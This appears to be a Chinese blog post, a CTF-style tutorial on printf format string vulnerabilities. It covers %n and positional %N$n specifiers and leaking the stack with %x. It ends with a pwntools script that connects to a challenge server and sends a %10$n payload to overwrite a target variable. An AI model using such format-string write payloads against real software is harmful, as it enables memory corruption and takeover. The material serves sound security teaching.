pwn格式化字符串漏洞
printf格式化字符串
基础知识
printf常见用法,前面是format,后面是匹配的参数。printf本身可以输入无限参数,即printf不知道参数个数,有格式化字符串%s,%d,%c等就到栈中去取参数。
printf("%s",s);
有一个特殊的格式化字符串%n,将前面的字符数量输入到参数中,赋值。
printf("aaaa%n",&d);// d=4
介绍一个格式化字符串的用法%5$d,表示参数从左到右第5个参数,好多博客这里没有讲,但是不同类型会不会有影响就不知道了,比如参数的类型不同,size不同,printf是不知道栈的那个位置具体是什么类型的。
直接输出s,没有格式化字符串。一般情况下是正常的输出s。但是一旦s中存在格式化字符串就可能存在漏洞。这个时候s就相当于format,但是没有传入任何参数。printf就会从栈顶开始依次匹配相应的类型大小数据输出。
printf(s);
实例
写一个小的C文件看看。

输入AAAA%x-%x-%x-%x-%x-%x-%x-%x-%x-%x,可以发现从栈顶开始依次输出。可以看到地址61FE3C的位置存储着s字符串。匹配的第7个单元是s的实际存储位置。
主要是中间调用了printf函数导致很难具体分析栈空间,所以需要使用这种方法找到偏移位置。


XTF_CGFSD

目标:将pwnme的地址放到字符串s中,并且使用%(offset)$n将输出的字符串长度8放到那个地址中。将那个地址作为printf传入的第offset个参数。

from pwn import *
r=remote("111.200.241.244",55024)
r.recvuntil("please tell me your name:")
r.send("sdsds")
p=0x804A068
payload=p32(p)+"aaaa"+"%10$n"
r.recvuntil("leave your message please:")
r.send(payload)
r.interactive()


浙公网安备 33010602011771号